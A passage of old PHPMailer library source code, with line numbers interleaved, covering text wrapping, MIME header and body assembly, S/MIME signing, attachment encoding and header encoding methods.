2070
2071
    return $formatted;
2072
  }
2073
2074
  /**
2075
   * Wraps message for use with mailers that do not
2076
   * automatically perform wrapping and for quoted-printable.
2077
   * Original written by philippe.
2078
   * @access private
2079
   * @return string
2080
   */
2081
  function WrapText($message, $length, $qp_mode = false) {
2082
    $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2083
    // If utf-8 encoding is used, we will need to make sure we don't
2084
    // split multibyte characters when we wrap
2085
    $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2086
2087
    $message = $this->FixEOL($message);
2088
    if (substr($message, -1) == $this->LE) {
2089
      $message = substr($message, 0, -1);
2090
    }
2091
2092
    $line = explode($this->LE, $message);
2093
    $message = '';
2094
    for ($i=0 ;$i < count($line); $i++) {
2095
      $line_part = explode(' ', $line[$i]);
2096
      $buf = '';
2097
      for ($e = 0; $e<count($line_part); $e++) {
2098
        $word = $line_part[$e];
2099
        if ($qp_mode and (strlen($word) > $length)) {
2100
          $space_left = $length - strlen($buf) - 1;
2101
          if ($e != 0) {
2102
            if ($space_left > 20) {
2103
              $len = $space_left;
2104
              if ($is_utf8) {
2105
                $len = $this->UTF8CharBoundary($word, $len);
2106
              } elseif (substr($word, $len - 1, 1) == "=") {
2107
                $len--;
2108
              } elseif (substr($word, $len - 2, 1) == "=") {
2109
                $len -= 2;
2110
              }
2111
              $part = substr($word, 0, $len);
2112
              $word = substr($word, $len);
2113
              $buf .= ' ' . $part;
2114
              $message .= $buf . sprintf("=%s", $this->LE);
2115
            } else {
2116
              $message .= $buf . $soft_break;
2117
            }
2118
            $buf = '';
2119
          }
2120
          while (strlen($word) > 0) {
2121
            $len = $length;
2122
            if ($is_utf8) {
2123
              $len = $this->UTF8CharBoundary($word, $len);
2124
            } elseif (substr($word, $len - 1, 1) == "=") {
2125
              $len--;
2126
            } elseif (substr($word, $len - 2, 1) == "=") {
2127
              $len -= 2;
2128
            }
2129
            $part = substr($word, 0, $len);
2130
            $word = substr($word, $len);
2131
2132
            if (strlen($word) > 0) {
2133
              $message .= $part . sprintf("=%s", $this->LE);
2134
            } else {
2135
              $buf = $part;
2136
            }
2137
          }
2138
        } else {
2139
          $buf_o = $buf;
2140
          $buf .= ($e == 0) ? $word : (' ' . $word);
2141
2142
          if (strlen($buf) > $length and $buf_o != '') {
2143
            $message .= $buf_o . $soft_break;
2144
            $buf = $word;
2145
          }
2146
        }
2147
      }
2148
      $message .= $buf . $this->LE;
2149
    }
2150
2151
    return $message;
2152
  }
2153
2154
  /**
2155
   * Finds last character boundary prior to maxLength in a utf-8
2156
   * quoted (printable) encoded string.
2157
   * Original written by Colin Brown.
2158
   * @access private
2159
   * @param string $encodedText utf-8 QP text
2160
   * @param int    $maxLength   find last character boundary prior to this length
2161
   * @return int
2162
   */
2163
  function UTF8CharBoundary($encodedText, $maxLength) {
2164
    $foundSplitPos = false;
2165
    $lookBack = 3;
2166
    while (!$foundSplitPos) {
2167
      $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2168
      $encodedCharPos = strpos($lastChunk, "=");
2169
      if ($encodedCharPos !== false) {
2170
        // Found start of encoded character byte within $lookBack block.
2171
        // Check the encoded byte value (the 2 chars after the '=')
2172
        $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2173
        $dec = hexdec($hex);
2174
        if ($dec < 128) { // Single byte character.
2175
          // If the encoded char was found at pos 0, it will fit
2176
          // otherwise reduce maxLength to start of the encoded char
2177
          $maxLength = ($encodedCharPos == 0) ? $maxLength :
2178
          $maxLength - ($lookBack - $encodedCharPos);
2179
          $foundSplitPos = true;
2180
        } elseif ($dec >= 192) { // First byte of a multi byte character
2181
          // Reduce maxLength to split at start of character
2182
          $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2183
          $foundSplitPos = true;
2184
        } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2185
          $lookBack += 3;
2186
        }
2187
      } else {
2188
        // No encoded character found
2189
        $foundSplitPos = true;
2190
      }
2191
    }
2192
    return $maxLength;
2193
  }
2194
2195
  /**
2196
   * Set the body wrapping.
2197
   * @access private
2198
   * @return void
2199
   */
2200
  function SetWordWrap() {
2201
    if($this->WordWrap < 1) {
2202
      return;
2203
    }
2204
2205
    switch($this->message_type) {
2206
      case 'alt':
2207
        /* fall through */
2208
      case 'alt_attachments':
2209
        $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2210
        break;
2211
      default:
2212
        $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2213
        break;
2214
    }
2215
  }
2216
2217
  /**
2218
   * Assembles message header.
2219
   * @access private
2220
   * @return string
2221
   */
2222
  function CreateHeader() {
2223
    $result = '';
2224
2225
    /* Set the boundaries */
2226
    $uniq_id = md5(uniqid(time()));
2227
    $this->boundary[1] = 'b1_' . $uniq_id;
2228
    $this->boundary[2] = 'b2_' . $uniq_id;
2229
2230
    $result .= $this->HeaderLine('Date', $this->RFCDate());
2231
    if($this->Sender == '') {
2232
      $result .= $this->HeaderLine('Return-Path', trim($this->From));
2233
    } else {
2234
      $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2235
    }
2236
2237
    /* To be created automatically by mail() */
2238
    if($this->Mailer != 'mail') {
2239
      if(count($this->to) > 0) {
2240
        $result .= $this->AddrAppend('To', $this->to);
2241
      } elseif (count($this->cc) == 0) {
2242
        $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2243
      }
2244
      if(count($this->cc) > 0) {
2245
        $result .= $this->AddrAppend('Cc', $this->cc);
2246
      }
2247
    }
2248
2249
    $from = array();
2250
    $from[0][0] = trim($this->From);
2251
    $from[0][1] = $this->FromName;
2252
    $result .= $this->AddrAppend('From', $from);
2253
2254
    /* sendmail and mail() extract Cc from the header before sending */
2255
    if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2256
      $result .= $this->AddrAppend('Cc', $this->cc);
2257
    }
2258
2259
    /* sendmail and mail() extract Bcc from the header before sending */
2260
    if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2261
      $result .= $this->AddrAppend('Bcc', $this->bcc);
2262
    }
2263
2264
    if(count($this->ReplyTo) > 0) {
2265
      $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2266
    }
2267
2268
    /* mail() sets the subject itself */
2269
    if($this->Mailer != 'mail') {
2270
      $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2271
    }
2272
2273
    if($this->MessageID != '') {
2274
      $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2275
    } else {
2276
      $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2277
    }
2278
    $result .= $this->HeaderLine('X-Priority', $this->Priority);
2279
    $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
2280
2281
    if($this->ConfirmReadingTo != '') {
2282
      $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2283
    }
2284
2285
    // Add custom headers
2286
    for($index = 0; $index < count($this->CustomHeader); $index++) {
2287
      $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2288
    }
2289
    if (!$this->sign_key_file) {
2290
      $result .= $this->HeaderLine('MIME-Version', '1.0');
2291
      $result .= $this->GetMailMIME();
2292
    }
2293
2294
    return $result;
2295
  }
2296
2297
  /**
2298
   * Returns the message MIME.
2299
   * @access private
2300
   * @return string
2301
   */
2302
  function GetMailMIME() {
2303
    $result = '';
2304
    switch($this->message_type) {
2305
      case 'plain':
2306
        $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2307
        $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2308
        break;
2309
      case 'attachments':
2310
        /* fall through */
2311
      case 'alt_attachments':
2312
        if($this->InlineImageExists()){
2313
          $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2314
        } else {
2315
          $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2316
          $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2317
        }
2318
        break;
2319
      case 'alt':
2320
        $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2321
        $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2322
        break;
2323
    }
2324
2325
    if($this->Mailer != 'mail') {
2326
      $result .= $this->LE.$this->LE;
2327
    }
2328
2329
    return $result;
2330
  }
2331
2332
  /**
2333
   * Assembles the message body.  Returns an empty string on failure.
2334
   * @access private
2335
   * @return string
2336
   */
2337
  function CreateBody() {
2338
    $result = '';
2339
    if ($this->sign_key_file) {
2340
      $result .= $this->GetMailMIME();
2341
    }
2342
2343
    $this->SetWordWrap();
2344
2345
    switch($this->message_type) {
2346
      case 'alt':
2347
        $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2348
        $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2349
        $result .= $this->LE.$this->LE;
2350
        $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2351
        $result .= $this->EncodeString($this->Body, $this->Encoding);
2352
        $result .= $this->LE.$this->LE;
2353
        $result .= $this->EndBoundary($this->boundary[1]);
2354
        break;
2355
      case 'plain':
2356
        $result .= $this->EncodeString($this->Body, $this->Encoding);
2357
        break;
2358
      case 'attachments':
2359
        $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2360
        $result .= $this->EncodeString($this->Body, $this->Encoding);
2361
        $result .= $this->LE;
2362
        $result .= $this->AttachAll();
2363
        break;
2364
      case 'alt_attachments':
2365
        $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2366
        $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2367
        $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2368
        $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2369
        $result .= $this->LE.$this->LE;
2370
        $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2371
        $result .= $this->EncodeString($this->Body, $this->Encoding);
2372
        $result .= $this->LE.$this->LE;
2373
        $result .= $this->EndBoundary($this->boundary[2]);
2374
        $result .= $this->AttachAll();
2375
        break;
2376
    }
2377
2378
    if($this->IsError()) {
2379
      $result = '';
2380
    } else if ($this->sign_key_file) {
2381
      $file = tempnam("", "mail");
2382
      $fp = fopen($file, "w");
2383
      fwrite($fp, $result);
2384
      fclose($fp);
2385
      $signed = tempnam("", "signed");
2386
2387
      if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2388
        $fp = fopen($signed, "r");
2389
        $result = fread($fp, filesize($this->sign_key_file));
2390
        fclose($fp);
2391
      } else {
2392
        $this->SetError($this->Lang("signing").openssl_error_string());
2393
        $result = '';
2394
      }
2395
2396
      unlink($file);
2397
      unlink($signed);
2398
    }
2399
2400
    return $result;
2401
  }
2402
2403
  /**
2404
   * Returns the start of a message boundary.
2405
   * @access private
2406
   */
2407
  function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2408
    $result = '';
2409
    if($charSet == '') {
2410
      $charSet = $this->CharSet;
2411
    }
2412
    if($contentType == '') {
2413
      $contentType = $this->ContentType;
2414
    }
2415
    if($encoding == '') {
2416
      $encoding = $this->Encoding;
2417
    }
2418
    $result .= $this->TextLine('--' . $boundary);
2419
    $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2420
    $result .= $this->LE;
2421
    $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2422
    $result .= $this->LE;
2423
2424
    return $result;
2425
  }
2426
2427
  /**
2428
   * Returns the end of a message boundary.
2429
   * @access private
2430
   */
2431
  function EndBoundary($boundary) {
2432
    return $this->LE . '--' . $boundary . '--' . $this->LE;
2433
  }
2434
2435
  /**
2436
   * Sets the message type.
2437
   * @access private
2438
   * @return void
2439
   */
2440
  function SetMessageType() {
2441
    if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2442
      $this->message_type = 'plain';
2443
    } else {
2444
      if(count($this->attachment) > 0) {
2445
        $this->message_type = 'attachments';
2446
      }
2447
      if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2448
        $this->message_type = 'alt';
2449
      }
2450
      if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2451
        $this->message_type = 'alt_attachments';
2452
      }
2453
    }
2454
  }
2455
2456
  /* Returns a formatted header line.
2457
   * @access private
2458
   * @return string
2459
   */
2460
  function HeaderLine($name, $value) {
2461
    return $name . ': ' . $value . $this->LE;
2462
  }
2463
2464
  /**
2465
   * Returns a formatted mail line.
2466
   * @access private
2467
   * @return string
2468
   */
2469
  function TextLine($value) {
2470
    return $value . $this->LE;
2471
  }
2472
2473
  /////////////////////////////////////////////////
2474
  // CLASS METHODS, ATTACHMENTS
2475
  /////////////////////////////////////////////////
2476
2477
  /**
2478
   * Adds an attachment from a path on the filesystem.
2479
   * Returns false if the file could not be found
2480
   * or accessed.
2481
   * @param string $path Path to the attachment.
2482
   * @param string $name Overrides the attachment name.
2483
   * @param string $encoding File encoding (see $Encoding).
2484
   * @param string $type File extension (MIME) type.
2485
   * @return bool
2486
   */
2487
  function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2488
    if(!@is_file($path)) {
2489
      $this->SetError($this->Lang('file_access') . $path);
2490
      return false;
2491
    }
2492
2493
    $filename = basename($path);
2494
    if($name == '') {
2495
      $name = $filename;
2496
    }
2497
2498
    $cur = count($this->attachment);
2499
    $this->attachment[$cur][0] = $path;
2500
    $this->attachment[$cur][1] = $filename;
2501
    $this->attachment[$cur][2] = $name;
2502
    $this->attachment[$cur][3] = $encoding;
2503
    $this->attachment[$cur][4] = $type;
2504
    $this->attachment[$cur][5] = false; // isStringAttachment
2505
    $this->attachment[$cur][6] = 'attachment';
2506
    $this->attachment[$cur][7] = 0;
2507
2508
    return true;
2509
  }
2510
2511
  /**
2512
   * Attaches all fs, string, and binary attachments to the message.
2513
   * Returns an empty string on failure.
2514
   * @access private
2515
   * @return string
2516
   */
2517
  function AttachAll() {
2518
    /* Return text of body */
2519
    $mime = array();
2520
2521
    /* Add all attachments */
2522
    for($i = 0; $i < count($this->attachment); $i++) {
2523
      /* Check for string attachment */
2524
      $bString = $this->attachment[$i][5];
2525
      if ($bString) {
2526
        $string = $this->attachment[$i][0];
2527
      } else {
2528
        $path = $this->attachment[$i][0];
2529
      }
2530
2531
      $filename    = $this->attachment[$i][1];
2532
      $name        = $this->attachment[$i][2];
2533
      $encoding    = $this->attachment[$i][3];
2534
      $type        = $this->attachment[$i][4];
2535
      $disposition = $this->attachment[$i][6];
2536
      $cid         = $this->attachment[$i][7];
2537
2538
      $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2539
      $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2540
      $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2541
2542
      if($disposition == 'inline') {
2543
        $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2544
      }
2545
2546
      $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2547
2548
      /* Encode as string attachment */
2549
      if($bString) {
2550
        $mime[] = $this->EncodeString($string, $encoding);
2551
        if($this->IsError()) {
2552
          return '';
2553
        }
2554
        $mime[] = $this->LE.$this->LE;
2555
      } else {
2556
        $mime[] = $this->EncodeFile($path, $encoding);
2557
        if($this->IsError()) {
2558
          return '';
2559
        }
2560
        $mime[] = $this->LE.$this->LE;
2561
      }
2562
    }
2563
2564
    $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2565
2566
    return join('', $mime);
2567
  }
2568
2569
  /**
2570
   * Encodes attachment in requested format.  Returns an
2571
   * empty string on failure.
2572
   * @access private
2573
   * @return string
2574
   */
2575
  function EncodeFile ($path, $encoding = 'base64') {
2576
    if(!@$fd = fopen($path, 'rb')) {
2577
      $this->SetError($this->Lang('file_open') . $path);
2578
      return '';
2579
    }
2580
    $magic_quotes = get_magic_quotes_runtime();
2581
    set_magic_quotes_runtime(0);
2582
    $file_buffer = fread($fd, filesize($path));
2583
    $file_buffer = $this->EncodeString($file_buffer, $encoding);
2584
    fclose($fd);
2585
    set_magic_quotes_runtime($magic_quotes);
2586
2587
    return $file_buffer;
2588
  }
2589
2590
  /**
2591
   * Encodes string to requested format. Returns an
2592
   * empty string on failure.
2593
   * @access private
2594
   * @return string
2595
   */
2596
  function EncodeString ($str, $encoding = 'base64') {
2597
    $encoded = '';
2598
    switch(strtolower($encoding)) {
2599
      case 'base64':
2600
        /* chunk_split is found in PHP >= 3.0.6 */
2601
        $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2602
        break;
2603
      case '7bit':
2604
      case '8bit':
2605
        $encoded = $this->FixEOL($str);
2606
        if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2607
          $encoded .= $this->LE;
2608
        break;
2609
      case 'binary':
2610
        $encoded = $str;
2611
        break;
2612
      case 'quoted-printable':
2613
        $encoded = $this->EncodeQP($str);
2614
        break;
2615
      default:
2616
        $this->SetError($this->Lang('encoding') . $encoding);
2617
        break;
2618
    }
2619
    return $encoded;
2620
  }
2621
2622
  /**
2623
   * Encode a header string to best of Q, B, quoted or none.
2624
   * @access private
2625
   * @return string
2626
   */
2627
  function EncodeHeader ($str, $position = 'text') {
2628
    $x = 0;
2629
2630
    switch (strtolower($position)) {
2631
      case 'phrase':
2632
        if (!preg_match('/[\200-\377]/', $str)) {
2633
          /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2634
          $encoded = addcslashes($str, "\0..\37\177\\\"");
2635
          if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2636
            return ($encoded);
2637
          } else {
2638
            return ("\"$encoded\"");
2639
          }
2640
        }
2641
        $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2642
        break;
2643
      case 'comment':
2644
        $x = preg_match_all('/[()"]/', $str, $matches);
2645
        /* Fall-through */
2646
      case 'text':
2647
      default:
2648
        $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2649
        break;
2650
    }
2651
2652
    if ($x == 0) {
2653
      return ($str);
2654
    }
2655
2656
    $maxlen = 75 - 7 - strlen($this->CharSet);
2657
    /* Try to select the encoding which should produce the shortest output */
2658
    if (strlen($str)/3 < $x) {
2659
      $encoding = 'B';
2660
      if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2661
     // Use a custom function which correctly encodes and wraps long
2662
     // multibyte strings without breaking lines within a character
2663
        $encoded = $this->Base64EncodeWrapMB($str);
2664
      } else {
2665
        $encoded = base64_encode($str);
2666
        $maxlen -= $maxlen % 4;
2667
        $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2668
      }
2669
    } else {
2670
      $encoding = 'Q';
2671
      $encoded = $this->EncodeQ($str, $position);
2672
      $encoded = $this->WrapText($encoded, $maxlen, true);
2673
      $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2674
    }
2675
2676
    $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2677
    $encoded = trim(str_replace("\n", $this->LE, $encoded));
2678
2679
    return $encoded;
2680
  }
2681
2682
  /**
2683
   * Checks if a string contains multibyte characters.
2684
   * @access private
2685
   * @param string $str multi-byte text to wrap encode
2686
   * @return bool
2687
   */
2688
  function HasMultiBytes($str) {
2689
    if (function_exists('mb_strlen')) {
2690
      return (strlen($str) > mb_strlen($str, $this->CharSet));
2691
    } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2692
      return False;
2693
    }
2694
  }
2695
2696
  /**
2697
   * Correctly encodes and wraps long multibyte strings for mail headers
2698
   * without breaking lines within a character.
2699
   * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2700
   * @access private
2701
   * @param string $str multi-byte text to wrap encode
2702
   * @return string
2703
   */
2704
  function Base64EncodeWrapMB($str) {
2705
    $start = "=?".$this->CharSet."?B?";
2706
    $end = "?=";
2707
    $encoded = "";
2708
2709
    $mb_length = mb_strlen($str, $this->CharSet);
2710
    // Each line must have length <= 75, including $start and $end
2711
    $length = 75 - strlen($start) - strlen($end);
2712
    // Average multi-byte ratio
2713
    $ratio = $mb_length / strlen($str);
2714
    // Base64 has a 4:3 ratio
2715
    $offset = $avgLength = floor($length * $ratio * .75);
2716
2717
    for ($i = 0; $i < $mb_length; $i += $offset) {
2718
      $lookBack = 0;
2719
2720
      do {
2721
        $offset = $avgLength - $lookBack;
2722
        $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2723
        $chunk = base64_encode($chunk);
2724
        $lookBack++;
2725
      }
2726
      while (strlen($chunk) > $length);
2727
2728
      $encoded .= $chunk . $this->LE;
2729
    }
2730
2731
    // Chomp the last linefeed
2732
    $encoded = substr($encoded, 0, -strlen($this->LE));
2733
    return $encoded;
2734
  }
2735
2736
  /**
2737
   * Encode string to quoted-printable.
2738
   * @access private
2739
   * @return string
2740
   */
2741
  function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2742
    $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2743
    $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2744
    $eol = "\r\n";
2745
    $escape = '=';
2746
    $output = '';
2747
    while( list(, $line) = each($lines) ) {
2748
      $linlen = strlen($line);
2749
      $newline = '';
2750
      for($i = 0; $i < $linlen; $i++) {
2751
        $c = substr( $line, $i, 1 );
2752
        $dec = ord( $c );
2753
        if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2754
          $c = '=2E';
2755
        }
2756
        if ( $dec == 32 ) {
2757
          if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2758
            $c = '=20';
2759
          } else if ( $space_conv ) {
2760
            $c = '=20';
2761
          }
2762
        } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2763
          $h2 = floor($dec/16);
2764
          $h1 = floor($dec%16);
2765
          $c = $escape.$hex[$h2].$hex[$h1];
2766
        }
2767
        if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2768
          $output .= $newline.$escape.$eol; //  soft line break; " =\r\n" is okay
2769
          $newline = '';
2770
          // check if newline first character will be point or not
2771
          if ( $dec == 46 ) {
2772
            $c = '=2E';
2773
          }
2774
        }
2775
        $newline .= $c;
2776
      } // end of for
2777
      $output .= $newline.$eol;
2778
    } // end of while
2779
    return trim($output);
2780
  }
2781
2782
  /**
2783
   * Encode string to q encoding.
2784
   * @access private
2785
   * @return string
2786
   */
2787
  function EncodeQ ($str, $position = 'text') {
2788
    /* There should not be any EOL in the string */
2789
    $encoded = preg_replace("[\r\n]", '', $str);
2790
2791
    switch (strtolower($position)) {
2792
      case 'phrase':
2793
        $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2794
        break;
2795
      case 'comment':
2796
        $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2797
      case 'text':
2798
      default:
2799
        /* Replace every high ascii, control =, ? and _ characters */
2800
        $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2801
              "'='.sprintf('%02X', ord('\\1'))", $encoded);
2802
        break;
2803
    }
2804
2805
    /* Replace every spaces to _ (more readable than =20) */
2806
    $encoded = str_replace(' ', '_', $encoded);
2807
2808
    return $encoded;
2809
  }
2810
2811
  /**
2812
   * Adds a string or binary attachment (non-filesystem) to the list.
2813
   * This method can be used to attach ascii or binary data,
2814
   * such as a BLOB record from a database.
2815
   * @param string $string String attachment data.
2816
   * @param string $filename Name of the attachment.
2817
   * @param string $encoding File encoding (see $Encoding).
2818
   * @param string $type File extension (MIME) type.
2819
   * @return void
2820
   */
2821
  function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2822
    /* Append to $attachment array */
2823
    $cur = count($this->attachment);
2824
    $this->attachment[$cur][0] = $string;
2825
    $this->attachment[$cur][1] = $filename;
2826
    $this->attachment[$cur][2] = $filename;
2827
    $this->attachment[$cur][3] = $encoding;
2828
    $this->attachment[$cur][4] = $type;
2829
    $this->attachment[$cur][5] = true; // isString
2830
    $this->attachment[$cur][6] = 'attachment';
2831
    $this->attachment[$cur][7] = 0;
2832
  }
2833
2834
  /**
2835
   * Adds an embedded attachment.  This can include images, sounds, and
2836
   * just about any other document.  Make sure to set the $type to an
2837
   * image type.  For JPEG images use "image/jpeg" and for GIF images
2838
   * use "image/gif".
2839
   * @param string $path Path to the attachment.
2840
   * @param string $cid Content ID of the attachment.  Use this to identify
2841
   *        the Id for accessing the image in an HTML form.
2842
   * @param string $name Overrides the attachment name.
2843
   * @param string $encoding File encoding (see $Encoding).
2844
   * @param string $type File extension (MIME) type.
2845
   * @return bool
2846
   */
2847
  function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2848
2849
    if(!@is_file($path)) {
2850
      $this->SetError($this->Lang('file_access') . $path);
2851
      return false;
2852
    }
2853
2854
    $filename = basename($path);
2855
    if($name == '') {
2856
      $name = $filename;
2857
    }
2858
2859
    /* Append to $attachment array */
2860
    $cur = count($this->attachment);
2861
    $this->attachment[$cur][0] = $path;
2862
    $this->attachment[$cur][1] = $filename;
2863
    $this->attachment[$cur][2] = $name;
2864
    $this->attachment[$cur][3] = $encoding;
2865
    $this->attachment[$cur][4] = $type;
2866
    $this->attachment[$cur][5] = false;
2867
    $this->attachment[$cur][6] = 'inline';
2868
    $this->attachment[$cur][7] = $cid;
2869
2870
    return true;
2871
  }
2872
2873
  /**
2874
   * Returns true if an inline attachment is present.
2875
   * @access private
2876
   * @return bool
2877
   */
2878
  function InlineImageExists() {
2879
    $result = false;
2880
    for($i = 0; $i < count($this->attachment); $i++) {
2881
      if($this->attachment[$i][6] == 'inline') {
2882
        $result = true;
2883
        break;
2884
      }
2885
    }
2886
2887
    return $result;
2888
  }
2889
2890
  /////////////////////////////////////////////////
2891
  // CLASS METHODS, MESSAGE RESET
2892
  /////////////////////////////////////////////////
2893
2894
  /**
2895
   * Clears all recipients assigned in the TO array.  Returns void.
2896
   * @return void
2897
   */
2898
  function ClearAddresses() {
2899
    $this->to = array();
2900
  }
2901
2902
  /**
2903
   * Clears all recipients assigned in the CC array.  Returns void.
2904
   * @return void
2905
   */
2906
  function ClearCCs() {
2907
    $this->cc = array();
2908
  }
2909
2910
  /**
2911
   * Clears all recipients assigned in the BCC array.  Returns void.
2912
   * @return void
2913
   */
2914
  function ClearBCCs() {
2915
    $this->bcc = array();
2916
  }
2917
2918
  /**
2919
   * Clears all recipients assigned in the ReplyTo array.  Returns void.
2920
   * @return void
2921
   */
2922
  function ClearReplyTos() {
2923
    $this->ReplyTo = array();
2924
  }
2925
2926
  /**
2927
   * Clears all recipients assigned in the TO, CC and BCC
2928
   * array.  Returns void.
2929
   * @return void
2930
   */
2931
  function ClearAllRecipients() {
2932
    $this->to = array();
2933
    $this->cc = array();
2934
    $this->bcc = array();
2935
  }
2936
2937
  /**
2938
   * Clears all previously set filesystem, string, and binary
2939
   * attachments.  Returns void.
2940
   * @return void
2941
   */
2942
  function ClearAttachments() {
2943
    $this->attachment = array();
2944
  }
2945
2946
  /**
2947
   * Clears all custom headers.  Returns void.
2948
   * @return void
2949
   */
2950
  function ClearCustomHeaders() {
2951
    $this->CustomHeader = array();
2952
  }
2953
2954
  /////////////////////////////////////////////////
2955
  // CLASS METHODS, MISCELLANEOUS
2956
  /////////////////////////////////////////////////
2957
2958
  /**
2959
   * Adds the error message to the error container.
2960
   * Returns void.
2961
   * @access private
2962
   * @return void
2963
   */
2964
  function SetError($msg) {
2965
    $this->error_count++;
2966
    $this->ErrorInfo = $msg;
2967
  }
2968
2969
  /**
2970
   * Returns the proper RFC 822 formatted date.
2971
   * @access private
2972
   * @return string
2973
   */
2974
  function RFCDate() {
2975
    $tz = date('Z');
2976
    $tzs = ($tz < 0) ? '-' : '+';
2977
    $tz = abs($tz);
2978
    $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
2979
    $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
2980
2981
    return $result;
2982
  }
2983
2984
  /**
2985
   * Returns the appropriate server variable.  Should work with both
2986
   * PHP 4.1.0+ as well as older versions.  Returns an empty string
2987
   * if nothing is found.
2988
   * @access private
2989
   * @return mixed
2990
   */
2991
  function ServerVar($varName) {
2992
    global $HTTP_SERVER_VARS;
2993
    global $HTTP_ENV_VARS;
2994
2995
    if(!isset($_SERVER)) {
2996
      $_SERVER = $HTTP_SERVER_VARS;
2997
      if(!isset($_SERVER['REMOTE_ADDR'])) {
2998
        $_SERVER = $HTTP_ENV_VARS; // must be Apache
2999
      }
3000
    }
3001
3002
    if(isset($_SERVER[$varName])) {
3003
      return $_SERVER[$varName];
3004
    } else {
3005
      return '';
3006
    }
3007
  }
3008
3009
  /**
3010
